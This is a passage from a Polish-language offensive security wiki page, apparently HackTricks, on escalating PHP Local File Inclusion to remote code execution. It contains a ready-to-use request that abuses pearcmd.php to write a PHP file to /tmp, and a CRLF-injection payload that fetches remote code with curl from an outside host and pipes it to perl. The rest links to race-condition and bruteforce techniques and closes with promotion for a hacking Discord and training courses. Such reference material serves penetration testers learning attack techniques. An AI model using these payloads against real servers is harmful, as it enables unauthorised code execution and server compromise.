Jak wyjaśniono w tym poście, skrypt /usr/local/lib/phppearcmd.php istnieje domyślnie w obrazach docker php. Co więcej, możliwe jest przekazywanie argumentów do skryptu za pomocą URL, ponieważ wskazano, że jeśli parametr URL nie ma =, powinien być użyty jako argument.

Następujące żądanie tworzy plik w /tmp/hello.php z zawartością <?=phpinfo()?>:

{% code overflow="wrap" %}

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

{% endcode %}

Następujące wykorzystuje lukę CRLF do uzyskania RCE (z tutaj):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

Jeśli znalazłeś Local File Inclusion i plik ujawniający phpinfo() z file_uploads = on, możesz uzyskać RCE:

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Jeśli znalazłeś Local File Inclusion i możesz wyeksfiltrować ścieżkę do pliku tymczasowego, ALE serwer sprawdza, czy plik do dołączenia ma znaczniki PHP, możesz spróbować obejść to sprawdzenie za pomocą tego Race Condition:

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

Via eternal waiting + bruteforce

Jeśli możesz nadużyć LFI, aby przesłać pliki tymczasowe i sprawić, że serwer zawiesi wykonanie PHP, możesz wtedy bruteforce'ować nazwy plików przez godziny, aby znaleźć plik tymczasowy:

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

To Fatal Error

Jeśli dołączysz którykolwiek z plików /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd).

Nie wiem, jak to jest przydatne, ale może być.
Nawet jeśli spowodujesz błąd krytyczny PHP, przesłane pliki tymczasowe są usuwane.

References

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hackerami i łowcami bugów!

Hacking Insights
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem

Real-Time Hack News
Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym

Latest Announcements
Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platform

Dołącz do nas na Discord i zacznij współpracować z najlepszymi hackerami już dziś!

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks
{% endhint %}